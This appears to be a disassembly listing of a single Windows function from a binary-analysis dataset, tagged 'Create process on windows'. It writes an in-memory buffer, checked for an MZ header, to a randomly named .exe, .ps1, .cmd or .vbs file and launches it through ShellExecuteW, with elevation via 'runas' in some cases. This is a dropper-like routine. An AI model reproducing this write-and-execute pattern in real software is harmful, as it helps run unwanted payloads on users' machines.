Function at 0x14007b420
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140130c00]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov r12, rcx
mov qword [rbp - 0x68], rcx
xor r13d, r13d
mov esi, r13d
mov dword [rsp + 0x30], r13d
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x190], xmm1
mov r8d, 4
lea rdx, str..exe
lea rcx, [rbp + 0x180]
call fcn.1400486b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1b0], xmm1
mov r8d, 4
lea rdx, str..ps1
lea rcx, [rbp + 0x1a0]
call fcn.1400486b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1d0], xmm1
mov r8d, 4
lea rdx, str..cmd
lea rcx, [rbp + 0x1c0]
call fcn.1400486b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1f0], xmm1
mov r8d, 4
lea rdx, str..vbs
lea rcx, [rbp + 0x1e0]
call fcn.1400486b0
nop
mov rax, qword [r12]
mov r15d, r13d
test rax, rax
je 0x14007b53e
mov ecx, 0x5a4d
cmp cx, word [rax]
sete r15b
lea r14, [rbp + 0x180]
movzx ebx, byte [rsp + 0x34]
nop word [rax + rax]
test r15, r15
je 0x14007b579
mov rax, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x14007b562
mov rax, qword [r14]
cmp qword [r14 + 0x10], 4
jne 0x14007bb30
cmp dword [rax], 0x6578652e
jne 0x14007bb30
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], send
mov byte [rsp + 0x38], 0
or esi, 1
mov dword [rsp + 0x30], esi
mov edi, reloc.SHLWAPI.dll_SHCreateMemStream
movabs r13, 0x948b0fcd6e9e0653
lea r12, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_________._
nop dword [rax + rax]
call fcn.1400983e0
movsxd rcx, eax
mov rax, r13
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x51
sub rcx, rax
movzx r9d, byte [rcx + r12]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
cmp rcx, rdx
jae 0x14007b61c
lea rax, [rcx + 1]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x38]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x38]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14007b62f
movzx r8d, bl
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140048d10
sub rdi, 1
jne 0x14007b5c0
mov r12, qword [rbp - 0x68]
xor r13d, r13d
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x14007b649
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rsp + 0x38]
call fcn.140043d70
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], send
mov byte [rax], 0
or esi, 2
mov dword [rsp + 0x30], esi
lea rax, [rbp - 0x60]
mov qword [rbp + 0x10], rax
lea rax, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rax, qword [rsp + 0x58]
mov qword [rbp - 0x10], rax
mov rax, qword [rsp + 0x68]
mov qword [rbp - 8], rax
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
lea rcx, [rbp - 0x60]
call fcn.140055c20
or esi, 4
mov dword [rsp + 0x30], esi
and esi, 0xfffffffb
mov dword [rsp + 0x30], esi
lea rcx, [rbp - 0x40]
call fcn.14007dd30
or esi, 8
mov dword [rsp + 0x30], esi
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x48]
call fcn.14002d810
nop
and esi, 0xfffffff7
mov dword [rsp + 0x30], esi
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x14007b743
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b73e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007bb9e
call fcn.1400ae880
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x14007b794
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b78f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007bba4
call fcn.1400ae880
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r13w
and esi, 0xfffffffd
mov dword [rsp + 0x30], esi
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14007b7e9
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b7e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007bbaa
call fcn.1400ae880
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], send
mov byte [rsp + 0x58], 0
and esi, 0xfffffffe
mov dword [rsp + 0x30], esi
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14007b840
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b83b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007bbb0
call fcn.1400ae880
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], send
mov byte [rsp + 0x38], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x70]
call main
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 7
cmova rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x70]
call fcn.14007c080
nop
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x70], rdi
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x6c], edx
cmp qword [rbp + 0xf8], 0
je 0x14007ba58
mov rdx, qword [r12]
mov r8, qword [r12 + 8]
sub r8, rdx
lea rcx, [rbp + 0x70]
call fcn.14007beb0
lea rcx, [rbp + 0x70]
call fcn.14004af10
lea rcx, [rbp + 0x78]
call fcn.140043620
test rax, rax
jne 0x14007b918
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0xb8], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rbp + rcx + 0x80]
and eax, 0x17
mov dword [rbp + rcx + 0x80], eax
and eax, dword [rbp + rcx + 0x84]
jne 0x14007bbb6
call fcn.14007f820
lea rdx, str.open
test eax, eax
lea rax, str.runas
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r13
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x14007b950
lea rcx, [rbp + 0x28]
call fcn.140036940
nop
lea rdx, [rbp + 0x48]
lea rcx, [rsp + 0x78]
call fcn.140036bd0
or esi, 0x10
mov dword [rsp + 0x30], esi
lea r8, [rsp + 0x78]
cmp qword [rbp - 0x70], 7
cmova r8, qword [rsp + 0x78]
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 7
cmova rdx, qword [rbp + 0x28]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
and esi, 0xffffffef
mov dword [rsp + 0x30], esi
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x14007b9f5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b9f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007bc05
call fcn.1400ae880
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 7
mov word [rsp + 0x78], r13w
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x14007ba47
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007ba42
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007bb92
call fcn.1400ae880
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
lea rax, [rbp + 0x118]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x70], rdi
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x6c], edx
lea rcx, [rbp + 0x78]
call fcn.1400412f0
nop
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x70], rax
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x6c], edx
lea rax, [rbp + 0x118]
mov qword [rbp + 0x20], rax
lea rax, vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x118], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x118], rax
lea rcx, [rbp + 0x118]
call fcn.1400bc92c
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 7
jbe 0x14007bb1f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007bb1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007bb98
call fcn.1400ae880
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x60], 7
mov word [rbp + 0x48], r13w
add r14, 0x20
lea rax, [rbp + 0x200]
cmp r14, rax
jne 0x14007b550
lea r9, [fcn.140042880]
mov edx, 0x20
mov r8d, 4
lea rcx, [rbp + 0x180]
call fcn.1400ae8c4
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.1400ae860
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140098254
nop
call fcn.140098254
nop
call fcn.140098254
nop
call fcn.140098254
nop
call fcn.140098254
nop
call fcn.140098254
nop
test al, 4
je 0x14007bbc3
lea rbx, str.ios_base::badbit_set
jmp 0x14007bbd7
test dl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp]
call fcn.14002bbd0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x40]
call fcn.14002cdc0
lea rdx, [0x14012dc80]
lea rcx, [rbp - 0x40]
call fcn.1400b0e88
nop
call fcn.140098254
int3